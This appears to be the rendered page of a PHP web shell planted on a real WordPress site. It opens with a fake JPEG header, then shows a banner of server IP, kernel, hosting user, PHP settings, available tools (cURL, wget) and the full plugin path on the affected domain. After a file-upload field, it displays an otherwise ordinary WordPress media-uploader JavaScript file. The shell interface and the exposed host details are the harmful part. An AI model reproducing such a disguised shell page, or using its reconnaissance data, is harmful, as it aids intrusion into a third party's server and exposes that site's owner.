���� JFIF fdasasfas213sdaf
Server IP : 93.127.173.221 / Your IP : 216.73.216.210 Web Server : LiteSpeed System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64 User : u479334040 ( 479334040) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u479334040/domains/omjaindia.com/public_html/wp-content/plugins/wpthembay/assets/ |
Upload File : |
jQuery(document).ready(function($){ var optionsframework_upload; var optionsframework_selector; function optionsframework_add_file(event, selector) { var upload = $(".uploaded-file"), frame; var $el = $(this); optionsframework_selector = selector; event.preventDefault(); // If the media frame already exists, reopen it. if ( optionsframework_upload ) { optionsframework_upload.open(); } else { // Create the media frame. optionsframework_upload = wp.media.frames.optionsframework_upload = wp.media({ // Set the title of the modal. title: "Select Image", // Customize the submit button. button: { // Set the text of the button. text: "Selected", // Tell the button not to close the modal, since we're // going to refresh the page when the image is selected. close: false } }); // When an image is selected, run a callback. optionsframework_upload.on( 'select', function() { // Grab the selected attachment. var attachment = optionsframework_upload.state().get('selection').first(); optionsframework_upload.close(); optionsframework_selector.find('.upload_image').val(attachment.attributes.url).change(); if ( attachment.attributes.type == 'image' ) { optionsframework_selector.find('.screenshot').empty().hide().prepend('<img src="' + attachment.attributes.url + '">').slideDown('fast'); } }); } // Finally, open the modal. optionsframework_upload.open(); } function optionsframework_remove_file(selector) { selector.find('.screenshot').slideUp('fast').next().val('').trigger('change'); } $('body').delegate('.upload_image_action .remove-image', 'click', function(event) { optionsframework_remove_file( $(this).parent().parent() ); }); $('body').delegate('.upload_image_action .add-image', 'click', function(event) { optionsframework_add_file(event, $(this).parent().parent()); }); });